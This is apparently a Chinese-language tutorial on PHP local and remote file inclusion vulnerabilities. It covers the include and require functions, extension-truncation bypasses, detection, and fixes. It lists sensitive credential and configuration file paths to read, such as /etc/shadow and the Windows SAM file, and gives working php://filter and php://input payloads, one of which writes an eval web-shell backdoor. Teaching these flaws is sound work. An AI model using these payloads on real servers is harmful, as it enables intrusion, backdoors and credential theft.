原理

文件包含漏洞是一种常见的web类型漏洞,因为很多脚本语言支持使用文件包含,也就是我们所说的文件包含函数,网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件,前提条件就是我们需要有可读的权限才能读取这些文件 ,这样就会导致文件包含漏洞

产生条件

和之前漏洞一样,该漏洞产生也包含着以下两个要素

  • 可控变量,如下面例子中的filename参数值
  • 敏感函数,如include()

PHP中文件包含函数有以下四种:

require()

require_once()

include()

include_once()

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

危害

敏感信息泄露

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

可控代码执行

分类

其文件包含漏洞共分为两大类,本地文件包含和远程文件包含,但是如果想要实现远程文件包含,需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。本地文件包含的含义就是包含本地服务器的文件

本地文件包含

无限制的本地文件包含

略

有限制的本地文件包含

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename.".html");//限制文件的后缀
?>

拼接.html限制了包含文件的后缀,当前目录下并不存在1.txt.html

绕过

  • %00截断
  • 长度截断:其原理类似文件上传绕过时所讲的点绕过
    • Windows,点号需要长于256,因为Windows限制文件名长度为256
    • Linux,点号需要长于4096,因为Linux限制文件名长度为4096

远程文件包含

如果想要实现远程文件包含,需要php.ini开启allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。

无限制的远程文件包含

略

有限制的远程文件包含

绕过方法同上

检测

检测方法

白盒

代码审计

黑盒

  • 漏扫工具

  • 公开漏洞

  • 手工看参数值及功能点

检测位置

略

利用

利用目的

**利用:**一般地,文件上传通常会限制上传文件类型,访问上传的文件一旦后缀被过滤,就不能作为脚本文件触发执行,但是借助文件包含漏洞就能将非脚本文件的内容包含进来作为脚本文件执行。

利用方法

文件包含结合PHP各种伪协议

php://filter读取文件源码用法

1
2
3
php://filter/read=convert.base64-encode/resource=[文件名]
//得到base64加密后的源码(为避免直接输出源码时显示乱码,特意使用base64加密)
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

读取1.txt文件源码

得到base64加密后的源码(为避免直接输出源码时显示乱码,特意使用base64加密)

解密后得到源码

php://input + [POST DATA]执行php代码用法

1
2
3
4
http://127.0.0.1/include.php?file=php://input

[POST DATA部分]
<?php phpinfo(); ?>

执行<?php phpinfo(); ?>代码

php://input + [POST DATA]写入一句话木马用法

1
2
3
4
http://127.0.0.1/include.php?file=php://input

[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

使用该伪协议写入一个shell.php后门文件

修复与防御方案

  • 固定后缀:固定或限制被包含的文件类型,可以绕过

    1
    2
    3
    4
    <?php
    $filename = $_GET['filename'];
    include($filename.".html");//限制文件的后缀
    ?>
  • 固定文件:直接将被包含的文件写死,不让访问者来控制要包含的文件名

    1
    2
    3
    <?php
    include('1.txt'); //被包含文件固定写死,不让访问者控制
    ?>
  • WAF产品

站内搜索

没有找到内容!